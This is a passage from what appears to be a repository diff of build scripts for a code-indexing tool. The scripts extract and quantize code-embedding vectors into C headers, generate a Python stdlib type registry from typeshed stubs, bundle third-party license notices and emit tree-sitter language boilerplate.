return result
# ── Extraction ───────────────────────────────────────────────────────
def extract_embeddings(model, tokenizer, tokens: list, device: str,
batch_size: int = 64,
checkpoint_path: str = None) -> np.ndarray:
"""Run full model inference on each token string. Returns (N, D) float32."""
# Check for checkpoint
start_idx = 0
all_vecs = []
if checkpoint_path and os.path.exists(checkpoint_path):
data = np.load(checkpoint_path)
all_vecs = list(data["vectors"])
start_idx = len(all_vecs)
print(f" resuming from checkpoint: {start_idx}/{len(tokens)} tokens")
model.eval()
total = len(tokens)
t0 = time.time()
with torch.no_grad():
for batch_start in range(start_idx, total, batch_size):
batch_end = min(batch_start + batch_size, total)
batch_tokens = tokens[batch_start:batch_end]
# nomic-embed-code requires search_query or search_document prefix
# For single tokens, we use the token as-is (query mode)
texts = [f"search_query: {t}" for t in batch_tokens]
encoded = tokenizer(
texts,
padding=True,
truncation=True,
max_length=64,
return_tensors="pt"
).to(device)
outputs = model(**encoded)
# Mean pooling over non-padding tokens
attention_mask = encoded["attention_mask"]
token_embeddings = outputs.last_hidden_state
input_mask_expanded = (
attention_mask.unsqueeze(-1)
.expand(token_embeddings.size())
.float()
)
sum_embeddings = torch.sum(
token_embeddings * input_mask_expanded, dim=1
)
sum_mask = torch.clamp(input_mask_expanded.sum(dim=1), min=1e-9)
mean_pooled = sum_embeddings / sum_mask
# Truncate to OUTPUT_DIM if model outputs more (Matryoshka)
if mean_pooled.shape[1] > OUTPUT_DIM:
mean_pooled = mean_pooled[:, :OUTPUT_DIM]
# L2 normalize
mean_pooled = torch.nn.functional.normalize(mean_pooled, p=2, dim=1)
vecs = mean_pooled.cpu().numpy()
all_vecs.extend(vecs)
# Progress
done = batch_end
elapsed = time.time() - t0
rate = (done - start_idx) / elapsed if elapsed > 0 else 0
eta = (total - done) / rate if rate > 0 else 0
print(
f" [{done:>6}/{total}] "
f"{rate:.1f} tok/s "
f"ETA {eta / 60:.0f}m",
flush=True
)
# Checkpoint
if checkpoint_path and (done % CHECKPOINT_EVERY < batch_size):
np.savez_compressed(
checkpoint_path,
vectors=np.array(all_vecs, dtype=np.float32)
)
print()
return np.array(all_vecs, dtype=np.float32)
# ── Output generation ────────────────────────────────────────────────
def write_bin(path: str, vectors: np.ndarray, dim: int):
"""Write binary blob: [int32 count][int32 dim] + count×dim int8."""
n = vectors.shape[0]
# Quantize: scale to [-127, 127], round to int8
quantized = np.clip(np.round(vectors * 127.0), -127, 127).astype(np.int8)
with open(path, "wb") as f:
f.write(struct.pack("<ii", n, dim))
f.write(quantized.tobytes())
size_mb = os.path.getsize(path) / (1024 * 1024)
print(f" {path}: {n} vectors × {dim}d = {size_mb:.1f} MB")
def write_tokens_txt(path: str, tokens: list):
"""Write plain text token list."""
with open(path, "w") as f:
for t in tokens:
f.write(t + "\n")
print(f" {path}: {len(tokens)} tokens")
def write_tokens_h(path: str, tokens: list):
"""Write C header with token string array."""
with open(path, "w") as f:
f.write(f"/* nomic-embed-code token vocabulary — {len(tokens)} tokens. */\n")
f.write("#ifndef CBM_NOMIC_TOKENS_H\n")
f.write("#define CBM_NOMIC_TOKENS_H\n\n")
f.write(f"static const char *PRETRAINED_TOKENS[{len(tokens)}] = {{\n")
for t in tokens:
escaped = t.replace("\\", "\\\\").replace('"', '\\"')
f.write(f'"{escaped}",\n')
f.write("};\n\n")
f.write("#endif /* CBM_NOMIC_TOKENS_H */\n")
print(f" {path}: written")
def write_vectors_h(path: str, token_count: int, dim: int, incbin_path: str):
"""Write C header with defines and inline accessor."""
with open(path, "w") as f:
f.write(f"""/* nomic-embed-code (nomic-ai/nomic-embed-code) token embeddings.
* {token_count} tokens x {dim}d int8-quantized unit vectors.
* Distilled from 7B model via full inference on filtered vocabulary.
* Simulated attention: {SIM_ATTENTION_ITERS} iterations, K={SIM_ATTENTION_K}, alpha={SIM_ATTENTION_ALPHA}.
*
* Vector blob embedded via code_vectors_blob.S (assembler .incbin).
* Token strings are in this header as a static array.
*
* Source: https://huggingface.co/nomic-ai/nomic-embed-code
* License: Apache 2.0
*/
#ifndef CBM_NOMIC_VECTORS_H
#define CBM_NOMIC_VECTORS_H
#include <stdint.h>
#define PRETRAINED_TOKEN_COUNT {token_count}
#define PRETRAINED_DIM {dim}
/* Raw vector blob: first 8 bytes = [int32 count][int32 dim],
* then count x dim int8 values (unit-normalized, x127 scaled). */
extern const unsigned char PRETRAINED_VECTOR_BLOB[];
extern const unsigned int PRETRAINED_VECTOR_BLOB_LEN;
/* Access the int8 vector for token index i. */
static inline const int8_t *pretrained_vec_at(int i) {{
return (const int8_t *)(PRETRAINED_VECTOR_BLOB + 8 + (size_t)i * PRETRAINED_DIM);
}}
/* Token strings (separate header to keep this file clean). */
#include "code_tokens.h"
#endif /* CBM_NOMIC_VECTORS_H */
""")
print(f" {path}: written")
def write_blob_s(path: str, incbin_path: str):
"""Write assembler .incbin directive."""
with open(path, "w") as f:
f.write(f"""/* nomic-embed-code vector blob embedded via assembler. */
.section __DATA,__const
.globl _PRETRAINED_VECTOR_BLOB
.globl _PRETRAINED_VECTOR_BLOB_LEN
.p2align 4
_PRETRAINED_VECTOR_BLOB:
.incbin "{incbin_path}"
_PRETRAINED_VECTOR_BLOB_END:
.section __DATA,__const
.p2align 2
_PRETRAINED_VECTOR_BLOB_LEN:
.long _PRETRAINED_VECTOR_BLOB_END - _PRETRAINED_VECTOR_BLOB
""")
print(f" {path}: written")
# ── Main ─────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="Extract nomic-embed-code token embeddings")
parser.add_argument("--output-dir", default="vendored/nomic",
help="Output directory (default: vendored/nomic)")
parser.add_argument("--device", default=None,
help="Device: cuda, mps, cpu (auto-detected)")
parser.add_argument("--skip-attention", action="store_true",
help="Skip simulated attention (faster, lower quality)")
parser.add_argument("--batch-size", type=int, default=BATCH_SIZE,
help=f"Batch size (default: {BATCH_SIZE})")
parser.add_argument("--checkpoint", default=None,
help="Checkpoint file path (auto: <output-dir>/checkpoint.npz)")
args = parser.parse_args()
batch_size = args.batch_size
# Auto-detect device
# Prefer CPU for 7B models on Apple Silicon — MPS shares unified memory
# with the system and can cause OOM/crashes. CPU keeps allocation predictable.
# Use --device mps to override if you have enough headroom (32GB+).
if args.device:
device = args.device
elif torch.cuda.is_available():
device = "cuda"
else:
device = "cpu"
# Force line-buffered stdout so tee/log sees output immediately
sys.stdout.reconfigure(line_buffering=True)
print(f"device={device}")
print(f"threads={torch.get_num_threads()}")
print(f"model={MODEL_NAME}")
print(f"output_dim={OUTPUT_DIM}")
print()
# Create output dir
out_dir = Path(args.output_dir)
out_dir.mkdir(parents=True, exist_ok=True)
checkpoint_path = args.checkpoint or str(out_dir / "checkpoint.npz")
# ── Step 1: Load model + tokenizer ──
print("step 1: loading model + tokenizer...")
t0 = time.time()
tokenizer = AutoTokenizer.from_pretrained(MODEL_NAME, trust_remote_code=True)
model = AutoModel.from_pretrained(
MODEL_NAME,
trust_remote_code=True,
dtype=torch.float16, # 7B×2B = ~14GB (vs 28GB float32)
low_cpu_mem_usage=True, # Stream weights, no 2x peak during load
)
model = model.to(device)
print(f" loaded in {time.time() - t0:.1f}s")
print(f" hidden_size={model.config.hidden_size}")
print(f" vocab_size={tokenizer.vocab_size}")
print()
# ── Step 2: Filter vocabulary ──
print("step 2: filtering vocabulary to code-relevant tokens...")
vocab = tokenizer.get_vocab()
print(f" raw vocabulary: {len(vocab)} tokens")
# Filter and deduplicate
seen = set()
filtered_tokens = []
for tok_str, tok_id in sorted(vocab.items(), key=lambda x: x[1]):
if not is_code_relevant(tok_str):
continue
clean = clean_token(tok_str)
if not clean or clean in seen:
continue
if len(clean) < 2:
continue
seen.add(clean)
filtered_tokens.append(clean)
filtered_tokens.sort()
print(f" code-relevant (deduplicated): {len(filtered_tokens)} tokens")
# Show sample
sample = filtered_tokens[:20]
print(f" sample: {sample}")
print()
# ── Step 3: Extract embeddings (full inference) ──
print(f"step 3: extracting embeddings ({len(filtered_tokens)} tokens, batch_size={batch_size})...")
t0 = time.time()
vectors = extract_embeddings(
model, tokenizer, filtered_tokens, device,
batch_size=batch_size, checkpoint_path=checkpoint_path
)
elapsed = time.time() - t0
print(f" extracted {vectors.shape[0]} vectors × {vectors.shape[1]}d in {elapsed:.0f}s")
# Truncate to OUTPUT_DIM if needed
if vectors.shape[1] > OUTPUT_DIM:
print(f" truncating {vectors.shape[1]}d -> {OUTPUT_DIM}d (Matryoshka)")
vectors = vectors[:, :OUTPUT_DIM]
# Re-normalize after truncation
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
norms = np.maximum(norms, 1e-8)
vectors = vectors / norms
print(f" final shape: {vectors.shape}")
# Mean-center to fix anisotropy (transformer embeddings cluster tightly,
# making all cosine similarities ~0.95+). Subtracting the corpus mean
# spreads vectors apart, making cosine discriminative.
mean_vec = vectors.mean(axis=0)
mean_norm = np.linalg.norm(mean_vec)
print(f" mean vector norm before centering: {mean_norm:.4f} (>0.5 = anisotropic)")
vectors = vectors - mean_vec
# Re-normalize after centering
norms = np.linalg.norm(vectors, axis=1, keepdims=True)
norms = np.maximum(norms, 1e-8)
vectors = vectors / norms
mean_after = np.linalg.norm(vectors.mean(axis=0))
print(f" mean vector norm after centering: {mean_after:.6f}")
print()
# ── Step 4: Simulated attention ──
if not args.skip_attention:
print(f"step 4: simulated attention (K={SIM_ATTENTION_K}, "
f"iters={SIM_ATTENTION_ITERS}, alpha={SIM_ATTENTION_ALPHA})...")
t0 = time.time()
vectors = simulated_attention(
vectors, SIM_ATTENTION_K, SIM_ATTENTION_ITERS, SIM_ATTENTION_ALPHA
)
print(f" completed in {time.time() - t0:.1f}s")
print()
else:
print("step 4: simulated attention SKIPPED")
print()
# ── Step 5: Write output files ──
print("step 5: writing output files...")
dim = vectors.shape[1]
write_bin(str(out_dir / "code_vectors.bin"), vectors, dim)
write_tokens_txt(str(out_dir / "code_tokens.txt"), filtered_tokens)
write_tokens_h(str(out_dir / "code_tokens.h"), filtered_tokens)
incbin_path = f"vendored/nomic/code_vectors.bin"
write_vectors_h(str(out_dir / "code_vectors.h"), len(filtered_tokens), dim, incbin_path)
write_blob_s(str(out_dir / "code_vectors_blob.S"), incbin_path)
print()
# Cleanup checkpoint
if os.path.exists(checkpoint_path):
os.remove(checkpoint_path)
print(f" removed checkpoint: {checkpoint_path}")
# ── Summary ──
bin_size = os.path.getsize(str(out_dir / "code_vectors.bin"))
print()
print("=" * 60)
print(f" model: {MODEL_NAME}")
print(f" tokens: {len(filtered_tokens)}")
print(f" dimensions: {dim}")
print(f" blob size: {bin_size / (1024*1024):.1f} MB")
print(f" sim-attn: {'yes' if not args.skip_attention else 'no'}")
print(f" output: {out_dir}/")
print("=" * 60)
print()
print("next steps:")
print(f" 1. update Makefile.cbm: change UNIXCODER_BLOB_SRC path to vendored/nomic/")
print(f" 2. update #include in semantic.c: \"vendored/nomic/code_vectors.h\"")
print(f" 3. arch -arm64 make -j12 -f Makefile.cbm clean-c && arch -arm64 make -j12 -f Makefile.cbm")
if __name__ == "__main__":
main()
+432
View File
@@ -0,0 +1,432 @@
#!/usr/bin/env python3.9
"""
gen-py-stdlib.py — Generate cbm_python_stdlib_register from typeshed stubs.
Phase 10 of Python LSP integration. Walks a typeshed/stdlib checkout,
parses each .pyi via the standard `ast` module, and emits a single C
source file (internal/cbm/lsp/generated/python_stdlib_data.c) that
populates a CBMTypeRegistry with classes + their method names and
free functions per module.
This is a v1 implementation — overload stacks collapse to the first
signature, ParamSpec/TypeVarTuple/Concatenate are skipped, version
guards `if sys.version_info >= (X, Y):` are flattened (we take the
union of all branches). Per-symbol min/max version guards from the
plan are recorded as comments only in v1; py_lsp consumers should
treat the generator output as the 3.12 baseline.
Usage:
python3.9 scripts/gen-py-stdlib.py <typeshed-stdlib-path> <output.c>
Defaults to /tmp/python-lsp-references/typeshed/stdlib and
internal/cbm/lsp/generated/python_stdlib_data.c when run without args.
"""
from __future__ import annotations
import argparse
import ast
import dataclasses
import os
import sys
from pathlib import Path
from typing import Iterable
# v1 module allowlist — the plan's "top usage" set. Skip large / low-value
# modules (tkinter, turtle, curses, xml.*, email.*) to keep generated
# output manageable.
ALLOWED_MODULES = {
"builtins",
"typing",
"typing_extensions",
"os",
"sys",
"collections",
"functools",
"itertools",
"pathlib",
"json",
"re",
"dataclasses",
"enum",
"datetime",
"subprocess",
"logging",
"asyncio",
"unittest",
"argparse",
"contextlib",
"io",
"tempfile",
"shutil",
"inspect",
"abc",
"warnings",
"weakref",
"copy",
"pickle",
"time",
"math",
"string",
"socket",
"threading",
"multiprocessing",
"queue",
"urllib",
"http",
"concurrent",
}
@dataclasses.dataclass
class StubMethod:
name: str
@dataclasses.dataclass
class StubClass:
qualified_name: str
short_name: str
methods: list[str]
bases: list[str]
@dataclasses.dataclass
class StubFunction:
qualified_name: str
short_name: str
module_qn: str
@dataclasses.dataclass
class ModuleStubs:
module_qn: str
classes: list[StubClass]
functions: list[StubFunction]
def is_method(node: ast.AST) -> bool:
return isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef))
def class_methods(class_node: ast.ClassDef) -> list[str]:
seen: set[str] = set()
out: list[str] = []
for child in class_node.body:
if is_method(child):
name = child.name # type: ignore[attr-defined]
if not name.startswith("_") or name in {"__init__", "__call__", "__enter__", "__exit__"}:
if name not in seen:
seen.add(name)
out.append(name)
elif isinstance(child, ast.If):
# Flatten version guards: walk both branches.
for sub in child.body + child.orelse:
if is_method(sub):
name = sub.name # type: ignore[attr-defined]
if name not in seen:
seen.add(name)
out.append(name)
return out
def base_qns(class_node: ast.ClassDef, module_qn: str) -> list[str]:
out: list[str] = []
for base in class_node.bases:
if isinstance(base, ast.Name):
# Bare name — qualify within the same module by default.
out.append(f"{module_qn}.{base.id}")
elif isinstance(base, ast.Attribute):
# mod.SubClass
try:
text = ast.unparse(base) # type: ignore[attr-defined]
except Exception:
continue
out.append(text)
return out
@dataclasses.dataclass
class StarReExport:
target_module: str # e.g. "posixpath" / "ntpath"
def parse_module(path: Path, module_qn: str) -> tuple[ModuleStubs, list[StarReExport]]:
src = path.read_text(encoding="utf-8", errors="replace")
try:
tree = ast.parse(src)
except SyntaxError:
return ModuleStubs(module_qn=module_qn, classes=[], functions=[]), []
classes: list[StubClass] = []
functions: list[StubFunction] = []
star_imports: list[StarReExport] = []
seen_funcs: set[str] = set()
def walk(body: list[ast.stmt], current_module_qn: str) -> None:
for node in body:
if isinstance(node, ast.ClassDef):
qn = f"{current_module_qn}.{node.name}"
classes.append(StubClass(
qualified_name=qn,
short_name=node.name,
methods=class_methods(node),
bases=base_qns(node, current_module_qn),
))
elif is_method(node):
name = node.name # type: ignore[attr-defined]
if name.startswith("_") and name not in {"__init__"}:
continue
if name in seen_funcs:
continue
seen_funcs.add(name)
functions.append(StubFunction(
qualified_name=f"{current_module_qn}.{name}",
short_name=name,
module_qn=current_module_qn,
))
elif isinstance(node, ast.ImportFrom):
# Track `from X import *` for re-export resolution.
if node.module and any(alias.name == "*" for alias in node.names):
star_imports.append(StarReExport(target_module=node.module))
elif isinstance(node, ast.If):
# Flatten version guards.
walk(node.body, current_module_qn)
walk(node.orelse, current_module_qn)
walk(tree.body, module_qn)
return ModuleStubs(module_qn=module_qn, classes=classes, functions=functions), star_imports
def collect_all_stubs(stdlib_root: Path) -> tuple[dict[str, ModuleStubs], dict[str, list[StarReExport]]]:
"""Gather every stub in the allowlist plus any re-export targets they
pull in transitively (e.g. os.path -> posixpath -> genericpath).
Returns (modules, star_imports_per_module). """
modules: dict[str, ModuleStubs] = {}
star_imports: dict[str, list[StarReExport]] = {}
# First pass: walk allowlist
queue: list[tuple[Path, str]] = []
for path in sorted(stdlib_root.rglob("*.pyi")):
rel = path.relative_to(stdlib_root)
parts = list(rel.parts)
if parts[-1] == "__init__.pyi":
parts.pop()
else:
parts[-1] = parts[-1][:-len(".pyi")]
if not parts:
continue
top = parts[0]
if top.startswith("_"):
continue
if top not in ALLOWED_MODULES:
continue
module_qn = ".".join(parts)
queue.append((path, module_qn))
seen_targets: set[str] = set()
while queue:
path, mod_qn = queue.pop()
if mod_qn in modules:
continue
ms, stars = parse_module(path, mod_qn)
modules[mod_qn] = ms
star_imports[mod_qn] = stars
# Enqueue re-export targets (e.g. posixpath, ntpath, genericpath)
for star in stars:
tgt = star.target_module
if tgt in seen_targets:
continue
seen_targets.add(tgt)
tgt_path = stdlib_root / (tgt.replace(".", "/") + ".pyi")
if tgt_path.is_file():
queue.append((tgt_path, tgt))
else:
tgt_init = stdlib_root / tgt.replace(".", "/") / "__init__.pyi"
if tgt_init.is_file():
queue.append((tgt_init, tgt))
return modules, star_imports
def resolve_reexports(modules: dict[str, ModuleStubs],
star_imports: dict[str, list[StarReExport]]) -> None:
"""For each module with `from X import *`, copy X's classes/functions
into the current module under that module's QN. Iterates to a fixed
point to handle re-export chains. """
changed = True
iter_count = 0
while changed and iter_count < 8:
changed = False
iter_count += 1
for mod_qn, stars in star_imports.items():
ms = modules[mod_qn]
for star in stars:
target = modules.get(star.target_module)
if not target:
continue
# Copy target's classes/functions under mod_qn
existing_class_names = {c.short_name for c in ms.classes}
existing_func_names = {f.short_name for f in ms.functions}
for c in target.classes:
if c.short_name in existing_class_names:
continue
ms.classes.append(StubClass(
qualified_name=f"{mod_qn}.{c.short_name}",
short_name=c.short_name,
methods=list(c.methods),
bases=list(c.bases),
))
existing_class_names.add(c.short_name)
changed = True
for f in target.functions:
if f.short_name in existing_func_names:
continue
ms.functions.append(StubFunction(
qualified_name=f"{mod_qn}.{f.short_name}",
short_name=f.short_name,
module_qn=mod_qn,
))
existing_func_names.add(f.short_name)
changed = True
def iter_module_stubs(stdlib_root: Path) -> Iterable[ModuleStubs]:
modules, star_imports = collect_all_stubs(stdlib_root)
resolve_reexports(modules, star_imports)
for mod_qn in sorted(modules.keys()):
yield modules[mod_qn]
C_HEADER = """\
// AUTO-GENERATED by scripts/gen-py-stdlib.py — DO NOT EDIT
// Python stdlib type information for LSP type resolver.
//
// Source: typeshed commit a7912d521e16ff63caf7a8b64b9072542be36777
// Module allowlist: see ALLOWED_MODULES in scripts/gen-py-stdlib.py
//
// v1 simplifications (per PYTHON_LSP_PLAN.md Phase 10):
// - overload stacks collapse to first signature
// - ParamSpec / TypeVarTuple / Concatenate skipped
// - version guards flattened (union of all branches)
// - per-symbol min/max version guards not yet emitted
#include "../type_rep.h"
#include "../type_registry.h"
#include <string.h>
#define CBM_PYTHON_STDLIB_GENERATED 1
void cbm_python_stdlib_register(CBMTypeRegistry* reg, CBMArena* arena) {
if (!reg || !arena) return;
CBMRegisteredType rt;
CBMRegisteredFunc rf;
"""
C_FOOTER = """\
}
"""
def c_escape(s: str) -> str:
return s.replace("\\", "\\\\").replace("\"", "\\\"")
def emit(stubs: list[ModuleStubs], output_path: Path) -> None:
method_table_id = 0
out_lines: list[str] = []
for ms in stubs:
if not ms.classes and not ms.functions:
continue
out_lines.append(f"\n /* ===== module: {ms.module_qn} ===== */\n")
for cls in ms.classes:
method_array_name = None
if cls.methods:
method_table_id += 1
method_array_name = f"py_methods_{method_table_id}"
methods_c = ", ".join(f"\"{c_escape(m)}\"" for m in cls.methods)
out_lines.append(
f" static const char* {method_array_name}[] = {{ {methods_c}, NULL }};\n"
)
out_lines.append(" memset(&rt, 0, sizeof(rt));\n")
out_lines.append(
f" rt.qualified_name = \"{c_escape(cls.qualified_name)}\";\n"
)
out_lines.append(
f" rt.short_name = \"{c_escape(cls.short_name)}\";\n"
)
if method_array_name:
out_lines.append(f" rt.method_names = {method_array_name};\n")
if cls.bases:
method_table_id += 1
bases_array = f"py_bases_{method_table_id}"
bases_c = ", ".join(f"\"{c_escape(b)}\"" for b in cls.bases)
out_lines.append(
f" static const char* {bases_array}[] = {{ {bases_c}, NULL }};\n"
)
out_lines.append(f" rt.embedded_types = {bases_array};\n")
out_lines.append(" cbm_registry_add_type(reg, rt);\n")
# Also emit a registered method per class.method so registry
# lookup_method(class_qn, name) works.
for m in cls.methods:
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
out_lines.append(
f" rf.qualified_name = \"{c_escape(cls.qualified_name)}.{c_escape(m)}\";\n"
)
out_lines.append(f" rf.short_name = \"{c_escape(m)}\";\n")
out_lines.append(
f" rf.receiver_type = \"{c_escape(cls.qualified_name)}\";\n"
)
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
for fn in ms.functions:
out_lines.append(" memset(&rf, 0, sizeof(rf));\n")
out_lines.append(
f" rf.qualified_name = \"{c_escape(fn.qualified_name)}\";\n"
)
out_lines.append(f" rf.short_name = \"{c_escape(fn.short_name)}\";\n")
out_lines.append(" cbm_registry_add_func(reg, rf);\n")
output_path.write_text(C_HEADER + "".join(out_lines) + C_FOOTER, encoding="utf-8")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument(
"stdlib_root",
nargs="?",
default="/tmp/python-lsp-references/typeshed/stdlib",
)
parser.add_argument(
"output",
nargs="?",
default="internal/cbm/lsp/generated/python_stdlib_data.c",
)
args = parser.parse_args()
root = Path(args.stdlib_root).resolve()
if not root.is_dir():
print(f"error: {root} is not a directory", file=sys.stderr)
return 1
stubs = list(iter_module_stubs(root))
out_path = Path(args.output).resolve()
out_path.parent.mkdir(parents=True, exist_ok=True)
emit(stubs, out_path)
n_classes = sum(len(s.classes) for s in stubs)
n_methods = sum(sum(len(c.methods) for c in s.classes) for s in stubs)
n_funcs = sum(len(s.functions) for s in stubs)
print(
f"wrote {out_path}: {len(stubs)} modules, "
f"{n_classes} classes ({n_methods} methods), {n_funcs} free functions"
)
return 0
if __name__ == "__main__":
sys.exit(main())
+57
View File
@@ -0,0 +1,57 @@
#!/usr/bin/env bash
set -euo pipefail
# Generates the third-party notices bundle shipped inside every release
# archive: THIRD_PARTY.md + the grammar provenance manifest + the verbatim
# license/notice text of every vendored component (both vendored trees).
# Deterministic output (sorted file order).
#
# Usage: scripts/gen-third-party-notices.sh [output-path]
# default output: build/THIRD_PARTY_NOTICES.md
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
OUT="${1:-$ROOT/build/THIRD_PARTY_NOTICES.md}"
mkdir -p "$(dirname "$OUT")"
{
echo "# Third-Party Notices"
echo
echo "This file accompanies the codebase-memory-mcp binary distribution."
echo "It aggregates THIRD_PARTY.md, the vendored grammar provenance"
echo "manifest, and the verbatim license / notice texts of every vendored"
echo "component, satisfying binary-redistribution notice requirements"
echo "(MIT, BSD, Apache-2.0)."
echo
echo "---"
echo
cat "$ROOT/THIRD_PARTY.md"
echo
echo "---"
echo
cat "$ROOT/internal/cbm/vendored/grammars/MANIFEST.md"
find "$ROOT/vendored" "$ROOT/internal/cbm/vendored" -type f \
\( -iname 'LICENSE*' -o -iname 'COPYING*' -o -iname 'NOTICE*' -o -iname 'UNLICENSE*' \) \
| LC_ALL=C sort | while IFS= read -r f; do
rel="${f#"$ROOT"/}"
echo
echo "==============================================================="
echo " $rel"
echo "==============================================================="
echo
cat "$f"
done
# With-ui packaging path: node_modules exists (make frontend ran npm ci),
# so append the license texts of the npm packages compiled into the UI
# bundle. Standard binaries carry no bundle — the section is skipped.
if [ -d "$ROOT/graph-ui/node_modules" ]; then
echo
echo "---"
echo
python3 "$ROOT/scripts/gen-ui-licenses.py" "$ROOT/graph-ui"
fi
} > "$OUT"
BYTES=$(wc -c < "$OUT" | tr -d ' ')
echo "wrote $OUT (${BYTES} bytes)"
+113
View File
@@ -0,0 +1,113 @@
#!/usr/bin/env python3
"""Emit a markdown license appendix for the embedded graph-UI bundle.
Usage: gen-ui-licenses.py <graph-ui-dir>
Walks the PRODUCTION dependency tree (npm ls --omit=dev) — the packages
whose code is compiled into the UI bundle — and prints, for each unique
package, its declared license and the verbatim license file text found in
node_modules. Build-time tooling (vite, tailwind, lightningcss, ...) is
excluded: its code does not ship in the bundle.
Called by gen-third-party-notices.sh when node_modules is present (the
with-ui packaging path). Output is deterministic (sorted by name@version).
"""
import json
import os
import subprocess
import sys
def collect(ui_dir, dep_tree, out, excluded):
for name, info in (dep_tree or {}).items():
version = info.get("version")
if not version:
continue # unmet optional peer — not installed, nothing shipped
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
meta = json.load(fh)
except (OSError, ValueError):
continue # not physically installed — nothing shipped
# Platform-restricted packages (os/cpu fields) are native build
# tooling (esbuild/rollup/lightningcss/oxide binaries). They cannot
# be part of a browser bundle — exclude them and do not recurse into
# their dependency subtrees (wasm runtime shims etc.).
if meta.get("os") or meta.get("cpu"):
excluded.add((name, version))
continue
out.add((name, version))
collect(ui_dir, info.get("dependencies"), out, excluded)
def license_text(pkg_dir):
if not os.path.isdir(pkg_dir):
return None
for fname in sorted(os.listdir(pkg_dir)):
if fname.upper().startswith(("LICENSE", "LICENCE", "COPYING", "NOTICE")):
try:
with open(os.path.join(pkg_dir, fname), encoding="utf-8", errors="replace") as fh:
return fh.read().strip()
except OSError:
continue
return None
def declared_license(pkg_dir):
try:
with open(os.path.join(pkg_dir, "package.json"), encoding="utf-8") as fh:
d = json.load(fh)
except (OSError, ValueError):
return "UNKNOWN"
lic = d.get("license", "UNKNOWN")
if isinstance(lic, dict):
lic = lic.get("type", "UNKNOWN")
return str(lic)
def main():
ui_dir = sys.argv[1]
# shell=True so the npm shim resolves on every platform (npm.cmd on
# Windows is not found by bare-name exec). Constant command, no injection.
ls = subprocess.run(
"npm ls --omit=dev --all --json",
shell=True, cwd=ui_dir, capture_output=True, text=True, check=False,
)
tree = json.loads(ls.stdout or "{}")
pkgs = set()
excluded = set()
collect(ui_dir, tree.get("dependencies"), pkgs, excluded)
print("## Embedded Graph UI — bundled npm packages")
print()
print("The `-ui` binaries embed a compiled frontend bundle. The packages")
print("below are its production dependency tree; their license texts are")
print("reproduced verbatim from the packages as installed at build time.")
print()
for name, version in sorted(pkgs):
pkg_dir = os.path.join(ui_dir, "node_modules", *name.split("/"))
lic = declared_license(pkg_dir)
text = license_text(pkg_dir)
print(f"### {name}@{version}{lic}")
print()
if text:
print(text)
else:
print(f"(no license file shipped in the package; declared license: {lic})")
print()
if excluded:
print("### Platform-specific build tooling (not part of the bundle)")
print()
print("Resolved in the dependency tree but excluded above: these are")
print("native per-platform build binaries whose code does not ship in")
print("the browser bundle.")
print()
for name, version in sorted(excluded):
print(f"- {name}@{version}")
print()
if __name__ == "__main__":
main()
+118
View File
@@ -0,0 +1,118 @@
#!/usr/bin/env python3
"""Generate boilerplate code for new tree-sitter language support.
Reads scripts/new-languages.json and generates:
1. Grammar wrapper .c files (written directly)
2. Enum entries for cbm.h
3. Lang spec entries for lang_specs.c (designated initializer + factory)
4. Extension/filename/name entries for language.c
"""
import json
import os
import sys
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
MANIFEST = os.path.join(SCRIPT_DIR, "new-languages.json")
GRAMMAR_DIR = os.path.join(PROJECT_DIR, "internal", "cbm")
def main():
with open(MANIFEST) as f:
langs = json.load(f)
mode = sys.argv[1] if len(sys.argv) > 1 else "all"
if mode in ("all", "wrappers"):
generate_wrappers(langs)
if mode in ("all", "enum"):
generate_enum(langs)
if mode in ("all", "specs"):
generate_specs(langs)
if mode in ("all", "language"):
generate_language_c(langs)
def generate_wrappers(langs):
"""Create grammar_<name>.c wrapper files."""
print("=== Grammar Wrapper Files ===")
created = 0
for lang in langs:
path = os.path.join(GRAMMAR_DIR, f"grammar_{lang['name']}.c")
if os.path.exists(path):
continue
lines = [
f"// Vendored tree-sitter grammar: {lang['name']}",
"// Each grammar compiled as separate unit (conflicting static symbols).",
f"#include \"vendored/grammars/{lang['name']}/parser.c\"",
]
if lang["has_scanner"]:
lines.append(
f"#include \"vendored/grammars/{lang['name']}/scanner.c\""
)
with open(path, "w") as f:
f.write("\n".join(lines) + "\n")
created += 1
print(f" Created {created} wrapper files")
def generate_enum(langs):
"""Print enum entries for cbm.h."""
print("\n=== Enum Entries (paste into cbm.h before CBM_LANG_KUSTOMIZE) ===")
for lang in langs:
print(f" CBM_LANG_{lang['enum']},")
def generate_specs(langs):
"""Print lang spec entries for lang_specs.c."""
print("\n=== Extern Declarations (paste at top of lang_specs.c) ===")
for lang in langs:
print(f"extern const TSLanguage *{lang['ts_func']}(void);")
print("\n=== Module Type Arrays (paste before spec table) ===")
for lang in langs:
arr = f"{lang['name']}_module_types"
print(
f'static const char *{arr}[] = {{"{lang["module_root"]}", NULL}};'
)
print("\n=== Spec Table Entries (paste into lang_specs[]) ===")
for lang in langs:
mod = f"{lang['name']}_module_types"
print(f" // CBM_LANG_{lang['enum']}")
print(
f" [CBM_LANG_{lang['enum']}] = {{CBM_LANG_{lang['enum']}, "
f"empty_types, empty_types, empty_types, {mod}, "
f"empty_types, empty_types, empty_types, empty_types, "
f"empty_types, empty_types, empty_types, NULL, empty_types, "
f"NULL, NULL, {lang['ts_func']}}},"
)
print()
def generate_language_c(langs):
"""Print extension table and name entries for language.c."""
print("\n=== EXT_TABLE Entries (paste into language.c, sorted by ext) ===")
ext_entries = []
for lang in langs:
for ext in lang["extensions"]:
ext_entries.append((ext, lang["enum"], lang["display"]))
for ext, enum, display in sorted(ext_entries, key=lambda x: x[0].lower()):
print(f' /* {display} */')
print(f' {{"{ext}", CBM_LANG_{enum}}},')
print()
print("\n=== FILENAME_TABLE Entries ===")
for lang in langs:
for fn in lang["filenames"]:
print(f' {{"{fn}", CBM_LANG_{lang["enum"]}}},')
print("\n=== LANG_NAMES Entries ===")
for lang in langs:
print(
f' [CBM_LANG_{lang["enum"]}] = "{lang["display"]}",'
)
if __name__ == "__main__":
main()
+18
View File
